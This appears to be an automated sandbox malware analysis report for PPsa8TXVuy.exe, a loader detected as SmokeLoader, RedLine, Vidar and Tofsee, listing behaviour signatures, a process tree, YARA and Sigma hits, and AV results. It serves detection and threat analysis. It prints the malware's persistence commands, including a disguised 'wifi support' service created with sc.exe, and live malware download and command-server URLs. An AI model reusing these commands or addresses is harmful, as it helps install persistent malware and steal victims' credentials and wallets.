Play interactive tour

Edit tour

Windows Analysis Report PPsa8TXVuy.exe

Overview

General Information

Sample Name:	PPsa8TXVuy.exe
Analysis ID:	552986
MD5:	8cd20cb52adc22e02b72f1ed7acdffa3
SHA1:	7240a06c5838e97100bb3ad3d7907171418cc9f5
SHA256:	c2c074381d900532e327a4667664949b3436f8896a1be2e7ead279863cf98036
Tags:	CoinMinerXMRigexe
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

.NET source code references suspicious native API functions

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Found evaded block containing many API calls

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

PPsa8TXVuy.exe (PID: 6588 cmdline: "C:\Users\user\Desktop\PPsa8TXVuy.exe" MD5: 8CD20CB52ADC22E02B72F1ED7ACDFFA3)

PPsa8TXVuy.exe (PID: 3676 cmdline: "C:\Users\user\Desktop\PPsa8TXVuy.exe" MD5: 8CD20CB52ADC22E02B72F1ED7ACDFFA3)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

A975.exe (PID: 4852 cmdline: C:\Users\user\AppData\Local\Temp\A975.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 4740 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

B55D.exe (PID: 6484 cmdline: C:\Users\user\AppData\Local\Temp\B55D.exe MD5: 137062F7882560195EF978685B52ADF8)

B55D.exe (PID: 4724 cmdline: C:\Users\user\AppData\Local\Temp\B55D.exe MD5: 137062F7882560195EF978685B52ADF8)

C29C.exe (PID: 6536 cmdline: C:\Users\user\AppData\Local\Temp\C29C.exe MD5: E65722B6D04BD927BCBF5545A8C45785)

BE39.exe (PID: 6616 cmdline: C:\Users\user\AppData\Local\Temp\BE39.exe MD5: 2D03728D8CC5C7FF0FB9F70DE3292CD4)

cmd.exe (PID: 4844 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\fwpgxpnt\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5348 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 7136 cmdline: C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 1356 cmdline: C:\Windows\SysWOW64\sc.exe" description fwpgxpnt "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 1528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

CBE6.exe (PID: 568 cmdline: C:\Users\user\AppData\Local\Temp\CBE6.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

CBE6.exe (PID: 3556 cmdline: C:\Users\user\AppData\Local\Temp\CBE6.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 1376 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6716 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5684 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

fjsvubj (PID: 6560 cmdline: C:\Users\user\AppData\Roaming\fjsvubj MD5: 8CD20CB52ADC22E02B72F1ED7ACDFFA3)

fjsvubj (PID: 6032 cmdline: C:\Users\user\AppData\Roaming\fjsvubj MD5: 8CD20CB52ADC22E02B72F1ED7ACDFFA3)

svchost.exe (PID: 5928 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5456 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5352 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.335338830.0000000002E11000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.405483918.0000000000570000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.348249528.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.348386960.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.461450610.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.462290204.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.460728754.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000016.00000003.416092673.0000000000660000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000B.00000002.405522492.0000000000591000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.422155838.0000000002091000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.421814485.0000000000540000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: C29C.exe PID: 6536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: C29C.exe PID: 6536	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BE39.exe PID: 6616	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.BE39.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
22.2.BE39.exe.640e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
3.1.PPsa8TXVuy.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.CBE6.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.2.PPsa8TXVuy.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.2.fjsvubj.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.CBE6.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.0.PPsa8TXVuy.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.CBE6.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.CBE6.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.0.B55D.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.0.B55D.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.PPsa8TXVuy.exe.5315a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.3.BE39.exe.660000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
14.2.B55D.exe.6415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.0.PPsa8TXVuy.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.2.BE39.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
19.1.B55D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.2.CBE6.exe.408f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.B55D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.0.B55D.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.0.PPsa8TXVuy.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.1.fjsvubj.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
10.2.fjsvubj.4615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.2.CBE6.exe.408f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.CBE6.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 21 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\BE39.exe, ParentImage: C:\Users\user\AppData\Local\Temp\BE39.exe, ParentProcessId: 6616, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\, ProcessId: 5348

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\BE39.exe, ParentImage: C:\Users\user\AppData\Local\Temp\BE39.exe, ParentProcessId: 6616, ProcessCommandLine: C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 7136

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8474_1641976243_3082.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353
Source: C:\Users\user\AppData\Local\Temp\qsflslyl.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Multi AV Scanner detection for submitted file

Show sources

Source: PPsa8TXVuy.exe	Virustotal: Detection: 39%			Perma Link
Source: PPsa8TXVuy.exe	ReversingLabs: Detection: 51%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Virustotal: Detection: 13%			Perma Link
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\1F56.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1F56.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\36F6.exe	Metadefender: Detection: 29%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\36F6.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\50F8.exe	ReversingLabs: Detection: 46%
Source: C:\Users\user\AppData\Local\Temp\5BB7.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\5BB7.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\A975.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	ReversingLabs: Detection: 89%

Machine Learning detection for sample

Show sources

Source: PPsa8TXVuy.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1F56.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\36F6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\qsflslyl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4186.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5BB7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\66D4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7C90.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\fjsvubj	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\50F8.exe	Joe Sandbox ML: detected

Source: 20.3.C29C.exe.690000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 22.2.BE39.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 22.2.BE39.exe.640e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 20.2.C29C.exe.570e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 22.3.BE39.exe.660000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	20_2_00407470
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	20_2_00404830
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	20_2_00407510
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00407190 CryptUnprotectData,	20_2_00407190
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	20_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005776C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	20_2_005776C0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00574A80 CryptStringToBinaryA,CryptStringToBinaryA,	20_2_00574A80
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00577760 CryptUnprotectData,LocalAlloc,LocalFree,	20_2_00577760
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005779F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	20_2_005779F0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005773E0 CryptUnprotectData,	20_2_005773E0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Unpacked PE file: 20.2.C29C.exe.400000.0.unpack

Source: PPsa8TXVuy.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\A975.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49904 version: TLS 1.2

Source:	Binary string: 8C:\pedaxopuw.pdbh source: C29C.exe, 00000014.00000000.404732187.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.410744756.000000000485A000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb-x source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbqx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdbH source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbK source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: C:\gogajokijejiye\tagidu\dobujadozu\61\wamu\yamihi hiva.pdbh source: B55D.exe, 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, B55D.exe, 0000000E.00000000.393787415.0000000000401000.00000020.00020000.sdmp, B55D.exe, 00000013.00000000.406075143.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: tTC:\jubejiwakosoxa10-jup\popiridira 13-yula.pdbh source: BE39.exe, 00000016.00000000.410832515.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdbWx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbN source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdbix source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbOx source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: C:\jubejiwakosoxa10-jup\popiridira 13-yula.pdb source: BE39.exe, 00000016.00000000.410832515.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: A975.exe, 0000000C.00000000.388624926.0000000000413000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.400258655.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.458048994.0000000004CC0000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: C:\vihigikasog-33_wim.pdb source: PPsa8TXVuy.exe, 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp, PPsa8TXVuy.exe, 00000001.00000000.289018911.0000000000413000.00000002.00020000.sdmp, fjsvubj, 0000000A.00000002.384894346.0000000000413000.00000002.00020000.sdmp, fjsvubj, 0000000A.00000000.376512784.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: C:\gogajokijejiye\tagidu\dobujadozu\61\wamu\yamihi hiva.pdb source: B55D.exe, B55D.exe, 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, B55D.exe, 0000000E.00000000.393787415.0000000000401000.00000020.00020000.sdmp, B55D.exe, 00000013.00000000.406075143.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\pedaxopuw.pdb source: C29C.exe, 00000014.00000000.404732187.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
